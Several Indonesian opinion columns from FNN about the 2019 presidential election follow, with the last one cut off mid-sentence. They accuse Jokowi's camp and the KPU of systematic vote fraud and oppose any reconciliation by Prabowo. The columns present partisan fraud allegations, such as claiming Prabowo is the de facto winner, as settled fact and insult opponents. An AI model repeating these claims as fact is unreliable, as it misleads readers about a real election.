OPINI
Apa Untungnya Prabowo Bertemu Jokowi?
Oleh: Tjahja Gunawan (Wartawan Senior) Jakarta, FNN - Sepanjang ingatan penulis, Ketua Umum PDI Perjuangan Megawati Soekarnoputri tidak pernah bertemu dengan Ketua Umum DPP Partai Demokrat Susilo Bambang Yudhoyono sejak tahun 2004 atau sejak SBY menjadi Presiden selama dua periode hingga tahun 2014. Keduanya akhirnya baru bertemu dan saling bersalaman saat pemakaman Ibu Ani Yudhoyono di Taman Makam Pahlawan Kalibata Jakarta, 2 Juni 2019 lalu. Sebelumnya Megawati juga bertemu SBY secara tidak sengaja karena Ketua MPR-RI Taufik Kiemas yang juga suami Megawati, meninggal dunia pada bulan Juni 2013. Selama menjadi Presiden ke-6, SBY telah berusaha menjalin komukasi agar bisa melakukan rekonsiliasi dengan Megawati Soekarnoputri. Tapi upaya itu selalu kandas bahkan sepanjang SBY menjadi Presiden selama sepuluh tahun, Megawati tidak pernah sekalipun hadir pada setiap acara peringatan HUT Kemerdekaan RI 17 Agustus di Istana Negara Jakarta. Dengan sikapnya itu apakah kemudian Megawati dianggap tidak konstitusional karena tidak mengakui dan menghormati SBY sebagai Presiden RI ke-6? Kan enggak. Apakah Megawati dikriminalisasi, dicari-cari kesalahannya oleh SBY ? Kan enggak juga. Apakah waktu itu ada pengurus atau kader yang disodorkan PDI Perjuangan yang masuk ke jajaran pemerintahan selama SBY menjadi Presiden selama dua periode ? Juga tidak ada. Megawati dan partai yang dipimpinnya konsisten berada di barisan oposisi, berperan sebagai partai yang berseberangan dengan pemerintah. Apakah salah ? Apakah melanggar konstitusi? Dalam negara demokrasi seperti Indonesia, sikap Megawati dan PDI-P tentu tidak salah. Justru seharusnya begitulah sikap pemimpin partai oposisi. Tugasnya melakukan check and balance terhadap jalannya pemerintahan. Lalu mengapa sekarang Joko Widodo sibuk membujuk Prabowo Subianto agar mau bertemu dan melakukan rekonsiliasi dengannya ? Bukankah Prabowo-Sandi sudah menyatakan menerima keputusan Mahkamah Konstitusi (MK) walaupun dengan rasa kecewa. Perlukah Prabowo juga memberi ucapan selamat kepada Presiden yang telah dimenangkan KPU ? Permintaan kubu Jokowi agaknya terlalu lebay juga. Setelah menang dengan cara curang, rupanya kubu Jokowi belum merasa tenang sebelum Prabowo dan Gerindra berhasil mereka rangkul. Jika merujuk pada Pilpres 2014, waktu itu Jokowi sengaja mengadakan safari politik dengan mengunjungi kediaman Prabowo Subianto di Jalan Kartanegara Jakarta. Tujuannya untuk merangkul parpol koalisi pro Prabowo. Setelah Jokowi dan Prabowo salaman, Partai Golkar salah satu parpol pendukung Prabowo langsung lompat pagar merapat ke kubu Jokowi-Jusuf Kalla dan mendapat jatah menteri dan kursi Ketua DPR-RI. Partai lain pro Prabowo yang juga mendapat konsesi adalah PAN. Meskipun waktu itu Ketua Umum PAN Hatta Radjasa batal jadi Wapres, namun partainya mendapat jatah kursi Ketua MPR-RI yang hingga kini dipegang oleh Zulkifli Hasan. Perjalanan politik berikutnya, Zulhas terpilih sebagai Ketua Umum PAN menggantikan Hatta Radjasa. Sedangkan Partai Gerindra dan PKS waktu itu tetap berada di luar pemerintah sebagai partai oposisi. Sama dengan Pilpres 2019, pada Pilpres lima tahun lalu juga terjadi pertarungan yang cukup keras baik diantara parpol pendukung Jokowi dengan parpol pro Prabowo. Sementara masyarakat terbelah dua sama seperti sekarang. Keberpihakan media mainstream tidak berubah, secara kasat mata sejak 2014 hingga sekarang tetap mendukung kubu Jokowi. Pada Pilpres 2014, boleh dibilang persaingan yang keras dan ketat hanya terbatas pada level kader dan para simpatisan Parpol. Oleh karena itu setelah proses rekonsiliasi dan bagi-bagi kursi kekuasaan selesai, semua elite dan kader parpol tidak ribut lagi dan menganggap proses politik sudah selesai. Sementara rakyat yang telah menjatuhkan pilihannya pada pasangan Prabowo-Hatta Radjasa, dilepeh begitu saja. Mereka dibutuhkan hanya menjelang pemilu dan Pilpres saja. Setelah Pilpres berakhir, suara rakyat dianggap tidak ada. Strategi politik yang hendak dilakukan kubu Jokowi sekarang sama seperti tahun 2014. Dengan dalih untuk menghindari kemungkinan terjadinya gerakan boikot pada pelantikan Jokowi-Jusuf Kalla, perlu ada rekonsiliasi dengan kubu Prabowo-Hatta Radjasa. Kini alasan yang dipakai kubu Jokowi dalam merangkul pihak oposisi, untuk meredam ketegangan di lapis bawah (grass root). Strategi menyerang dan merangkul lawan politik ini bagaikan pertandingan tinju. Satu sama lain saling memukul, kemudian begitu terdesak sengaja merangkul supaya pihak lawan tidak memiliki ruang untuk memukul lagi. Begitulah cara politik Machiavelli, berpolitik hanya untuk meraih kekuasaan semata. Segala cara dilakukan termasuk melakukan kecurangan. Keinginan dan ajakan kubu Jokowi untuk rekonsiliasi dibarengi dengan iming-iming pemberian jatah menteri dan kedudukan penting lainnya di pemerintahan. Menghadapi gencarnya berbagai upaya pendekatan ke kubu Prabowo-Sandi, sejumlah kalangan berusaha memberi penguatan kepada keduanya agar tetap konsisten sebagai oposisi. Jangan pernah mau bertemu dan melakukan rekonsiliasi. Bagaimana dengan parpol pendukung Prabowo-Sandi lainnya ?. Seperti sudah kita ketahui bersama, Partai Demokrat sejak masa kampanye telah menyeberang ke kubu Jokowi karena Agus Harimurti, salah satu putra kesayangan SBY, telah dijanjikan kursi menteri dalam kabinet Jokowi-Ma'ruf Amin. Demikian juga PAN, ada kecenderungan untuk merapat ke kubu Jokowi. Sebaliknya PKS sudah sejak awal menyatakan untuk berada di luar pemerintahan sebagai oposisi. Sementara parpol yang mengatasnamakan Islam seperti PKB dan PPP, dalam setiap Pemilu selalu menjadi bagian dari penguasa. Pendekatan yang kini sedang gencar dilakukan kubu Jokowi lebih banyak ditujukan kepada para elite Partai Gerindra dan Prabowo-Sandi. Beberapa elite Partai Gerindra, nampak ada yang telah "masuk angin". Mereka mulai tergiur dengan iming-iming kursi menteri yang ditawarkan Jokowi-Ma'ruf Amin. Sejumlah orang di Partai Gerindra yang kerap mengemukakan pendapat tentang pentingnya rekonsiliasi berdalih bahwa beroposisi tidak harus di luar pemerintahan tapi juga bisa masuk ke dalam pemerintah, mengontrol dari dalam. Ini pernyataan klasik yang banyak kamuflasenya. Sebaliknya anggota Dewan Penasihat Partai Gerindra M Syafii, lebih menginginkan partainya tetap menjadi oposisi. "Saya kira dalam demokrasi yang sehat ada dua pilar yang sangat baik, yaitu partai pendukung dan oposisi. Saya kira demokrasi tidak akan sehat kalau semua partai yang ada menjadi partai pendukung pemenang pemilu. Harus ada yang bersikap oposisi," ujar Syafii di Kompleks Parlemen, Jakarta Selatan, Senin (1/7/2019), sebagaimana dikutip portal berita Detik. Dibalik gencarnya strategi politik yang kini dijalankan kubu Jokowi timbul sejumlah pertanyaan yang mengemuka di kalangan masyarakat. Apakah ajaka rekonsiliasi itu murni hanya ingin merangkul Prabowo-Sandi dan parpol pendukungnya ? Atau ada target lain yakni ingin menjauhkan sosok Prabowo-Sandi dengan para pemilihnya terutama kalangan umat Islam dan para ulama yang mendukungnya. Berbeda dengan Pilpres 2014, dalam Pilpres kali ini Prabowo mendapat dukungan luas dari kalangan umat Islam, para ulama serta emak-emak militan. Sehingga kalau Prabowo sampai menerima ajakan untuk bertemu atau melakukan rekonsiliasi, sama artinya dia telah mencederai kepercayaan rakyat yang telah memilihnya dalam Pilpres 2019. Lebih dari itu, jika Prabowo sampai menerima bujuk rayu dan iming-iming dari kubu sebelah, maka dia tidak menghargai pengorbanan rakyat yang menjadi korban dalam kerusuhan tanggal 21-22 Mei 2019. Sebagai penutup tulisan ini, saya ingin mengutip kalimat yang disampaikan dr Ani Hasibuan melalui tweeternya. "Sebenarnya ini bukan soal Prabowo dan Jokowi. Ini tentang rakyat yang tidak mendapat keadilan. Jadi kalau Pak @prabowo dan @sandiuno mau pelukan dengan kubu sebelah, mangga aja. Kita tidak butuh mereka kok. Ada Allah SWT tempat bersandar". Wallahu a'lam.
Palangkaraya Tidak Ideal dari Pertahanan Negara
Oleh Selamat Ginting (Jurnalis, Pemerhati Militer) Jakarta, FNN - Mengapa sebagai calon ibukota negara, Palangkaraya rawan dari sisi pertahanan keamanan negara? Rencana pemindahan Ibukota Negara keluar Pulau Jawa telah diwacanakan sejak zaman Presiden Sukarno, pada 1957. Empat dekake kemudian, Presiden Soeharto juga merencanakan pemindahan ibukota ke Jonggol, Jawa Barat, pada 1997. Pada Sidang Kabinet terbatas, 29 April 2019, Kepala Bapenas telah memaparkan ada tiga aternatif pemindahan ibukota negara kepada Presiden Joko Widodo. Pertama, tetap di wilayah DKI Jakarta. Namun dibuat distrik khusus. Kedua, pindah di wilayah yang dekat dengan Jakarta. Sekitar Jabodetabek. Ketiga, pindah keluar pulau Jawa. Secara prinsip pemerintah Jokowi setuju Ibukota Negara dipindahkan dari Jakarta. Palangkaraya di Kalimantan Tengah, kembali disebut-sebut ideal. Tetapi banyak yang tidak memahami kerawanan dari segi pertahanan keamanan negara (hankamneg). Palangkaraya adalah zona berbahaya dari segi hankamneg. Bahkan rawan terhadap kemungkinan adanya konsentrasi kekuatan pasukan militer darat lawan. Dalam hal ini, Angkatan Bersenjata Malaysia. Jarak Palangkaraya ke Serawak, Malaysia, sekitar 712 km. Atau 8 jam perjalanan darat. Mereka dapat menggelar pasukan darat secara leluasa. Termasuk menyusupkan pasukan intelijennya melalui perbatasan darat. Tentu saja dengan menyamar dengan beragam profesi. Mulai sopir bus, pedagang, turis dan segala macam. Akan mudah sekali pasukan artileri pertahanan udara (arhanud) Malaysia menembakkan meriamnya ke Palangkaraya. Kapal perang angkatan laut Diraja Malaysia juga dengan mudah menembakkan meriam ke Kalimantan Tengah. Dalam hitungan menit Palangkaraya luluh lantak. Tak ada waktu untuk menyelamatkan diri bagi kepala negara kekuar dari istana. Publik harus tahu, wilayah perbatasan darat merupakan garis lingkar pertahanan terdepan. Jadi, wilayah Kalimantan Tengah juga bukan merupakan daerah belakang. Sehingga, jauh dari ideal untuk dijadikan ibukota negara. Sebagai wartawan pemerhati militer, saya hanya mengingatkan dari perspektif pertahanan mendalam. Palangkaraya tidak ideal dari sisi hankamneg.
Demokrasi Kita Dalam Bahaya (Bagian II)
Oleh : Hersubeno Arief Jakarta, FNN - “Apakah Prabowo bisa menang?,” Pertanyaan itu muncul di jutaan benak publik Indonesia menggantikan pertanyaan sebelumnya “Apakah Prabowo menang Pilpres?.” Keyakinan bahwa Prabowo memenangkan Pilpres 2019 dan secara de facto Presiden RI 2019-2024 sudah selesai. Tidak ada keraguan sedikit pun di hati mayoritas rakyat Indonesia. Bukan hanya karena klaim sepihak kemenangan oleh Prabowo, namun fakta adanya kecurangan yang sangat massif di lapangan. Publik sudah sampai pada pemahaman yang sama “Kalau benar Jokowi menang seperti dikatakan oleh lembaga survei, mengapa harus melakukan kecurangan?,” Bukankah seharusnya Jokowi benar-benar menjaga pilpres dan proses penghitungan suara berlangsung secara adil, jujur, dan bersih. Dengan begitu kemenangannya tidak perlu lagi dipertanyakan. Tidak perlu diragukan dan ada sengketa hukum di Mahkamah Konstitusi. Sampai sejauh ini tidak ada satupun pernyataan Jokowi tentang perlunya menjaga kualitas pilpres dan pentingnya menyelamatkan demokrasi. Dia hanya diam membisu melihat banyaknya kecurangan di depan mata. Sikap maupun pernyataan Jokowi sama sekali tidak menunjukkan seorang kandidat yang baru saja memenangkan kontestasi sebagaimana coba dibangun dan didesakkan ke memori publik oleh lembaga survey melalui quick count. Yang terjadi Jokowi malah mengutus Luhut Binsar Panjaitan untuk mencoba bertemu Prabowo. Publik memahami melalui sang super minister, mastermindmencoba menawarkan deal-deal politik dengan Prabowo, karena posisinya sedang terdesak. Sebagai presiden yang tengah berkuasa, Jokowi tinggal memerintahkan birokrasi negara, Polri, kalau perlu melibatkan TNI untuk mengamankan pilpres dan hasilnya. Cegah semua kecurangan. Tangkap pelaku pencoblosan surat suara secara tidak sah. Tangkap siapapun yang melakukan kecurangan. Mulai dari petugas KPPS, oknum polisi, atau siapapun. Awasi penghitungan suara secara ketat, dan amankan semua proses penghitungan suara. Pada tanggal 22 Mei 2019, ketika selesai penghitungan suara, KPU melakukan pleno rekapitulasi suara, Jokowi sah secara legal dan formal menduduki kursi presiden untuk periode kedua. Setelah itu sebagai presiden terpilih, dia tinggal mengundang Prabowo ke istana, atau di tempat netral sebagai simbol rekonsiliasi nasional. Langkah yang sama juga pernah dia lakukan pada Pilpres 2014. Prabowo datang bertemu Jokowi di istana, Jokowi kemudian membalas kunjungan ke Hambalang, dan naik kuda bersama Prabowo. Case closed. Jokowi kembali menjadi presiden. Tinggal bagi-bagi jabatan dengan parpol pendukungnya. Bagi-bagi konsesi dengan kelompok oligarki pendukungnya. Rakyat Indonesia bisa kembali dininabobokan dengan janji-janji politiknya. Bagi-bagi kartu beraneka ragam, atau dibuat terpesona dengan pembangunan proyek infrastruktur megah hasil berutang dari pemerintah Cina. Bukankah seperti dikatakan oleh Luhut pada bulan April ini perjanjian proyek One belt, One road dengan pemerintah Cina akan segera ditandatangani di Beijing. Cacat sejak awal Pilpres kali ini, sudah cacat sejak awal. Cacat bawaan yang direncanakan secara cerdik, namun culas. Kecurangan sudah terjadi sejak mulai dari perencanaan, sebelum pelaksanaan, pada saat pelaksanaan, dan setelah selesai pelaksanaan. Karena itu tidak berlebihan bila banyak yang menyatakan telah terjadi kecurangan yang terstruktur, sistematis, dan massif (TSM). Target utamanya Jokowi terpilih kembali menjadi presiden, bagaimanapun caranya, dan berapapun harganya. At all cost. Termasuk bila harus mengorbankan demokrasi. Tahap pertama. Dari sisi perencanaan sudah terlihat ketika parpol pendukung pemerintah bekerja keras mati-matian membatasi jumlah capres. Mereka menggolkan aturan presidential threshold (PT) 20 persen kursi atau 25 persen total suara secara nasional sebagai syarat untuk parpol atau gabungan parpol dapat mengusung capres/cawapres. Dengan PT tersebut para pendukung utama Jokowi sudah bisa membatasi capres yang ada maksimal hanya tiga pasang. Sampai disitu para pendukung merasa belum aman. Mereka melangkah lebih jauh agar Jokowi dapat menjadi calon tunggal. Lagi-lagi Luhut Panjaitan, inang pengasuh Jokowi yang menjadi operator. Pada tanggal 6 April 2018 Luhut bertemu secara diam-diam dengan Prabowo di sebuah restorant di Hotel Grand Hyatt, Jakarta. Dalam pertemuan tersebut Luhut menawari Prabowo untuk menjadi cawapres Jokowi. Bila semua partai koalisi pendukung pemerintah bersatu ditambah Gerindra maka sulit bagi partai lain untuk mengusung capres sendiri. Tinggal Demokrat, PAN, dan PKS. Dari berbagai data survei yang mereka miliki, jika Jokowi dipasangkan dengan Prabowo, maka tidak ada lawan potensial yang bisa mengalahkannya. Dalam proses ini sejumlah lembaga survei sudah bekerja. Mereka membombardir publik dengan publikasi survei tingkat kepuasaan atas kinerja Jokowi sangat tinggi. Secara elektabilitas Jokowi juga tidak tertandingi. Di bawah Jokowi, yang mempunyai elektabilitas cukup lumayan hanya Prabowo. Publik dipaksa meyakini Jokowi satu-satunya capres yang dikehendaki rakyat. Gagal meyakinkan Prabowo, mereka berusaha mati-matian agar maksimal paslon yang maju hanya dua pasang. Andi Wijayanto ketua Cakra-9 —salah satu organisasi sayap pemenangan Jokowi— mengakui tugas itu berhasil mereka laksanakan. Mereka sukses menggergaji hak demokrasi rakyat dan memaksa pemilih hanya mempunyai dua pilihan : Jokowi atau Prabowo. Pada saat itu aparat kepolisian dan intelijen menekan gerakan #2019GantiPresiden. Salah satu inisiatornya Neno Warisman dikepung di Bandara Pekanbaru, Riau. Kepala Badan Intelijen Nasional (Kabinda) Riau terlibat dalam aksi itu. Targetnya gerakan ini tidak boleh membesar. Harus dikempesin. Sangat berbahaya bagi Jokowi. Tahap kedua, sebelum pelaksanaan. Kali ini yang menjadi operatornya adalah Kemendagri. Tiba-tiba mereka memasukan Daftar Pemilih Tetap (DPT) tambahan sebanyak 31 juta. Koalisi Indonesia Makmur yang mengusung Prabowo-Sandi mempersoalkannya dan menyebutnya sebagai DPT siluman. Namun Depdagri bersikeras bahwa tambahan DPT itu sudah termasuk dalam DPT sebanyak 196 juta pemilih. Dengan asumsi partisipasi pemilih sebesar 80 persen, maka DPT tambahan 31 juta, setara dengan 20 persen suara sah. Kisruh itu berlanjut dengan munculnya data DPT ivalid sebanyak 17,5 juta. Dengan bermain-main di DPT, Paslon 01 sudah punya spare suara “cadangan” yang sangat besar. Jumlahnya setidaknya setara dengan klaim kemenangan oleh lembaga survei sebesar 7-9 persen. Pada tahap ini semua aparat birokrasi pemerintah mulai dilibatkan. Mulai dari aparat kepolisian yang melakukan pendataan pemilih, penggelontoran anggaran Bansos, dan pembagian dana-dana CSR dari sejumlah BUMN, tekanan terhadap kepala desa, bahkan sampai RW dan RT. Tahap ketiga, pelaksanaan berupa eksekusi di lapangan. Pada tahap inilah kecurangan yang sangat massif dan terungkap di publik. Dimulai dari pencoblosan surat suara atas paslon 01 di Malaysia, pertugas KPPS mencoblos sendiri surat suara, Bawaslu menemukan ribuan petugas KPPS yang tidak netral, dan adanya 6,7 juta surat undangan yang tidak sampai ke tangan pemilih, banyaknya kertas suara yang tidak sampai, termasuk hilangnya TPS di wilayah yang diidentifikasi menjadi basis 02. Badan Pemenangan Nasional (BPN) Prabowo-Sandi melaporkan ada sebanyak 1.261 kecurangan. Jumlahnya akan terus bertambah. Tahap keempat, pasca pencoblosan. Modus juga sangat beragam. Mulai dari perusakan dan pembakaran kertas suara, adanya penggelembungan suara di tingkat PPK, mengganti hasil perolehan suara di C1, dan yang paling banyak adalah kesalahan input data di KPU pusat. Anehnya kesalahan input itu seragam. Suara paslon 01 bertambah, dan suara paslon 02 berkurang. Kesalahan itu diakui oleh komisioner KPU dan mereka berdalih ada kesalahan input. Melihat berbagai kecurangan yang terstruktur, sistematis, dan massif itu terlalu naif bila kemudian Paslon 02 dan pendukungnya hanya berpangku tangan, menunggu perhitungan suara selesai. Bila ada kecurangan di bawa ke jalur hukum melalui Mahkamah Konstitusi. Hasil akhirnya sudah bisa diduga. Dapat dipastikan gugatan itu akan dimentahkan. Mereka terlalu naif bila mengikuti alur permainan yang memang telah disiapkan oleh kubu paslon 01. Mulai dari lapangan bermain, siapa yang boleh bermain, aturan permainan, wasit dan pengawas pertandingan, termasuk penonton sudah ditentukan. Wasit dan pengawas pertandingan tidak segan-segan mengeluarkan penonton kubu Paslon 02 yang mempersoalkan kecurangan. Sebaliknya mereka diam saja ketika ada penonton dan pendukung paslon 01 ikut bermain dan mengacaukan permainan. Demokrasi kita dalam bahaya. Demokrasi kita sedang dibajak oleh kelompok oligarki yang ingin melanggengkan kekuasaan. Mereka memilih seorang penguasa yang lemah untuk didudukkan di singgasana, agar mereka bisa terus bermain secara leluasa, mengeksploitasi kekayaan alam Indonesia yang melimpah. Demokrasi kita harus diselamatkan. Rakyat harus menunjukkan kekuatannya. Tunjukkan kekuatan rakyat yang ingin menyelamatkan demokrasi. Jangan mau diprovokasi. Tunjukkan rakyat Indonesia cinta damai. Tunjukkan bahwa jutaan orang bisa berkumpul menyampaikan aspirasinya tanpa berbuat anarkis. Jutaan orang berkumpul secara damai, tertib, tak selembar rumputpun yang rebah. Aksi 411, 212, Reuni Akbar 212 sudah membuktikannya. Bawaslu tidak mungkin bertindak sendiri. Mereka harus didukung, dibantu, diperkuat. Mereka tidak akan mampu menghadapi kartel ekonomi dan politik yang dimainkan oleh oligarki. Para oligarki ini adalah deep state, negara dalam negara. Ini bukan soal kalah menang. Bukan soal Prabowo menjadi presiden atau tidak. Ini soal suara rakyat, soal kedaulatan rakyat yang dibajak. Sekali lagi DEMOKRASI KITA DALAM BAHAYA. End
Kecurangan Malaysia: Mesin Fitnah 01 Mau Salahkan 02
Oleh Asyari Usman Jakarta, FNN – Tulisan ini diturunkan untuk membantu agar kubu 01 bisa sejenak memulihkan fungsi ‘lobus frontalis’ (otak depan) mereka. Sebab, dalam kasus coblos illegal di Malaysia, mereka mencoba mengolah fakta di pabrik fitnah dan hoax mereka menjadi kesalahan orang lain. Alhamdulillah, kubu 02 sejauh ini terjaga dari segala perbuatan yang hina dan licik. Tak sempat lama mesin fitnah 01 berpikir. Berpikir bagaimana cara untuk membuang kotoran kecurangan licik yang terjadi di Malaysia. Langsung bertebaran meme ‘akal miras’ (akal minuman keras) mereka. Sambil mabuk, para pendukung 01 ingin mengalihkan substansi isu coblos illegal itu menjadi skenario 02. Demi persaudaraan dengan Anda, wahai para pendukung dan pembuat fitnah di kubu 01, saya bantu untuk menemukan logika kasus coblos curang itu. Mungkin Anda semua sedang sempoyangan akibat miras, tak bisa berpikir jernih. Tak rela mengakui kesalahan dan fakta. Untunglah ada Pak Masinton Pasaribu (orang penting 01) yang menyiramkan air penyadar ke muka Anda yang sedang mabuk itu. Mari kita telusuri pakai akal sehat, wahai para operator mesin fitnah jahat 01. Anda me-meme-kan bahwa orang 02 mencoblos sendiri, gerebek sendiri, teriak sendiri. Ini sama sekali tidak logis. Yang logis? Fakta 1: Pak Masinton (seorang pemuka 01 asal PDIP) mengatakan bahwa sindikat jual suara sudah berlangsung sejak lama di Malaysia. Pak Masinton mengatakan, dia sendiri ditawari ‘suara murah’ dari Malaysia, tetapi beliau tolak. Kalau ditarik ke belakang, ke pilpres 2014, berat dugaan kecurangan ini sudah dilakukan untuk memenangkan Pak Jokowi, waktu itu. Check list: ‘lobus fontalis’ Anda tak berfungsi. Fakta 2: Panitia Pemilihan Luar Negeri (PPLN) di Malaysia diawasi langsung oleh Wakil Duta Besar yang duduk sebagai anggota PPLN. Untuk Anda ketahui, anak Dubes Rusdy Kirana, yaitu Davin Kirana, adalah caleg NasDem dapil DKI. Bantuan logika untuk adalah: bagaimana mungkin ribuan surat suara itu bisa jatuh ke orang 02 untuk dicoblos fitnah, sementara PPLN Malaysia yang diawasi Wakil Dubes itu bekepentingan untuk menjaga Davin Kirana? Anda pikir Wakil Dubes yang duduk di PPLN itu berani melawan Dubes yang sangat dekat dengan Pak Jokowi? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 3: PPLN Malaysia menolak pendampingan kotak suara keliling (KSK) oleh petugas Bawaslu. Siapakah yang menolah itu? Tentu Wakil Dubes yang Dubesnya punya anak untuk dimenangkan di pileg DPRRI. Tidakkah Anda memiliki logika bahwa Wakil Dubes yang bertugas di PPLN itu punya pengaruh dan otoritas besar? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 4: Orang 02 menggerebek sendiri, memviralkannya sendiri. Bantuan logika untuk Anda adalah: apakah bisa diharapkan orang 01 melakukan penggerebekan yang tulus-ikhlas sehingga terbongkarlah coblos illegal untuk capres 01 dan caleg Davin Kirana? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 5: Sebagai presiden, capres 01 memiliki dan menikmati keistimewaan untuk menyalahgunakan kekuasaannya. Siapakah, menurut akal sehat kalian, yang paling mudah melakukan kecurangan pemilu? Jokowi yang punya Mendagri, Jokowi yang punya Kapolri, Jokowi yang punya Menteri BUMN, Jokowi juga yang punya Dubes di Malaysia. Mungkinkan Prabowo mengerahkan ASN, Polisi, jajaran BUMN, mengerahkan Dubes Rusdy Kirana? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 6: Sama dengan isu Ratna Sarumpaet? Come on, kawan. Semua orang yang waras paham bahwa Pak Prabowo dan seluruh kubu 02 tidak pernah mengatur kebohongan Ratna. Hanya hati busuk dan akal sempit kalian di 01 yang memaksakan agar kebohongan itu ditimpakan ke kubu 02. Biar kalian paham, rangkaian kampanye 01 dan dukungan untuk Jokowi menjadi hancur-berantakan gara-gara hati kalian yang sudah berulat itu. Chcek list: ‘lobus frontalis’ Anda tak berfungsi. NOTE: supaya kalian tidak bingung, ‘lobus frontalis’ adalah otak depan yang berfungsi menerima dan mengolah infomasi; membuat ‘reasoning’ yang sehat; memahami bahasa, merancang kreativitas, dan menilai sesuatu. Cukup ini saja dulu, wahai saudara-saudaraku di kubu 01. Kalau terlalu banyak, khawatir masa pulih otak depan Anda habis waktu. Supaya berimbang, mohon tuliskan fakta dan logika Anda. Tapi, mohon Anda tulis dalam keadaan bebas pengaruh zat ‘fitnatanol’. Yaitu, fitnah yang mengandung alkolol 57% (seperti survey LSI Denny JA). (Penulis adalah wartawan senior)
Mind Games, Permainan Berbahaya KPU
Oleh : Hersubeno Arief Jakarta, FNN - Benarkah Komisi Pemilihan Umum (KPU) sedang menjalankan mind games, permainan pikiran? Mereka coba mempengaruhi, memanipulasi rakyat Indonesia, —terutama pendukung Prabowo— agar meyakini bahwa pilpres sudah selesai. Tidak perlu lagi melakukan perlawanan. Para saksi tidak perlu lagi mencermati hasil penghitungan suara. Quick count yang dilansir lembaga survei sudah benar. Jokowi menang dan Prabowo kalah? Metode permainan psikologi untuk memanipulasi dan mengintimidasi pikiran orang itu cukup sederhana. Melalui Aplikasi Sistem Informasi Penghitungan Suara atau Situng, KPU memasukkan ( entry ) data dari daerah-daerah yang dimenangkan Jokowi. Sebaliknya untuk provinsi yang dimenangkan Prabowo, entry datanya diperlambat. Kalau toh dimasukkan, maka dipilih kota/kabupaten, bahkan kecamatan yang suaranya dimenangkan Jokowi. Abrakadabra…..! Melalui pemetaan dan pemilihan asal suara secara cermat, data yang ditampilkan oleh KPU angkanya bisa persis sama dengan hasil quick count. 54-45 persen. Spekulasi itu belakangan ini banyak bermunculan di media sosial. Jangan terlalu cepat percaya. Please cek ricek terlebih dahulu. Untuk membuktikannya silakan buka web resmi KPU dan masuk ke aplikasi Situng. Dijamin Anda akan kagum dengan hasil karya para komisioner KPU. Aneh tapi nyata! Kok bisa-bisanya mereka melakukan hal itu. Tega banget! Mengangap semua orang Indonesia bodoh dan bisa dibodohi. Praktisi public relations Heri Rakhmadi menulis sebuah opini dengan judul “Quick Count, Real Count KPU dan Angka Cantik 54 Persen.” Secara satire Heri mempertanyakan mengapa data real count KPU bisa sama persis dengan quick count? “Setelah menghiasi layar kaca dan portal berita, kini angka 54 persen juga terus menghiasi layar tabulasi real count milik KPU. Tentunya angka 54 persen ini kembali disematkan kepada Paslon 01, walau sesekali dia dengan centil naik ke angka 55 persen,” tulisnya. Wartawan Republika Harun Husein sudah dua kali membuat tulisan di akun facebooknya. Tulisan pertama berjudul “Real Count Masih Pilih Data.” Harun menyoroti derasnya data KPU dari Jawa Tengah dan Jawa Timur yang diidentifikasi menjadi kantong suara Jokowi. Sebaliknya data dari Jawa Barat dan DKI Jakarta, kantong suara Prabowo masuknya beringsut. “Akibatnya, walaupun data masuk baru sekitar 7,75 persen dari total 813.350 TPS di seluruh Indonesia, hasilnya klop dengan _quick count_ dari lembaga-lembaga survei, seolah sudah distel sedemikian rupa,” tulisnya pada Sabtu (20/4) Pukul 23.49. Harun kembali membuat tulisan kedua dengan judul “Real Count (Masih) Rasa Quick Count.” “Sampai dengan Senin pagi ini, porsi Jateng di Real Count masih tetap yang terbesar, dengan 2,9 juta suara (13,9%), disusul Jatim 2,28 juta suara (10,9%), Jabar 1,9 juta suara (9,3%), DKI Jakarta 1,2 juta (5,7%). Sedangkan daerah-daerah lainnya jauh tertinggal.” Ketika dibuka pada Selasa malam (23/4) pukul 20.20 WIB komposisinya tidak berbeda jauh dengan yang ditulis Harun. Total prosentase suara yang masuk ke Situng KPU 26 persen, tapi di tiap-tiap daerah berbeda-beda prosentase masuknya. Beberapa daerah yang dianggap basis 01, seperti Jawa Tengah dan Bali tinggi inputnya. Jawa Tengah sudah 21 persen, Bali 35 persen. Sementara basis 02 seperti Jawa Barat baru 11,5 persen, Banten 15 persen. Jakarta yang seharusnya bisa lebih cepat, ternyata data yang diinput baru 26 persen. Menariknya lagi-lagi data yang diinput terkesan mencurigakan. Wilayah yang diidentifikasi sebagai basis 01 seperti Jakarta Barat sudah 30,7 persen. Lebih tinggi dari basis 02 Jakarta Selatan 27 persen, dan Jakarta Timur 20 persen. Di Kecamatan Gambir, Jakarta Pusat tempat Jokowi memilih sudah masuk 49 persen, Menteng 50 persen. Namun Tanah Abang basis pendukung 02 baru 9,5 persen. Heri dan Harun tidak salah. Walaupun keduanya menulis dengan nada bercanda, sedikit ngledek, tapi pesannya sama. Mereka mencurigai data yang dirilis Situng KPU kok “secara kebetulan” mirip dengan hasil quick count. “Mbok data RC jangan statis seturut QC lah. Dinamis sikitlah, atau sekali-kali zig-zag seperti MotoGP yang ada adegan kejar-kejaran dan salip menyalip di tikungan, biar penontonnya antusias tepuk tangan mengelu-elukan jagoannya…,” pesan Harun. Sampai kapan KPU bisa menjalankan skenario mind games? Mempengaruhi pikiran publik agar percaya bahwa hasil quick count benar, dan Prabowo kalah? Sulit bertahan Bersamaan dengan semakin tingginya data yang masuk, maka dipastikan komposisinya akan berubah. Apalagi bila data dari Jabar yang menjadi basis 02 masuk. Jangan lupa Jabar memiliki jumlah pemilih terbesar di Indonesia, 17 persen dari DPT. Data Situng KPU akan berubah sangat signifikan dan tak terhindarkan Prabowo menang. Apalagi bila data dari Sumatera dan sebagian Sulawesi yang dimenangkan secara mayoritas oleh Prabowo masuk. Skenario permainan pikiran publik itu berantakan. Sampai disini kita bisa memahami mengapa KPU melakukan “kesalahan” input data yang sangat konsisten. Suara Jokowi bertambah, dan suara Prabowo berkurang. Polanya sangat baku. Suara Jokowi digelembungkan, dan suara Prabowo dikempeskan di ratusan TPS. Itu adalah bagian dari skenario besar kecurangan. Mereka bekerja secara terstruktur, sistematis, dan massif (TSM). Mulai dari perencanaan, sebelum pelaksanaan, pada saat pelaksanaan, dan pasca pelaksanaan Pilpres. Apapun caranya, berapapun harganya, Jokowi harus menang! Bagaimana KPU bisa menjelaskan kasus di TPS 4, Petak Kaja, Gianyar, Bali. Suara Jokowi berubah dari 183 menjadi 1.183, dan suara Prabowo hanya 2. Jumlah seluruh suara sah di TPS itu sebanyak 185, jumlah suara tidak sah 4, sehingga 